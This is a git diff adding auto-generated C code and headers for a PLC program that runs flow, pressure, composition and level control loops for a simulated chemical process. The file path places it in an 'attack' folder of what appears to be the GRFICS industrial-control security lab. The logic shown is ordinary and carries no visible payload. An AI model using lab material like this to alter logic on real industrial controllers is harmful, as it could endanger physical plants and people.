__INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 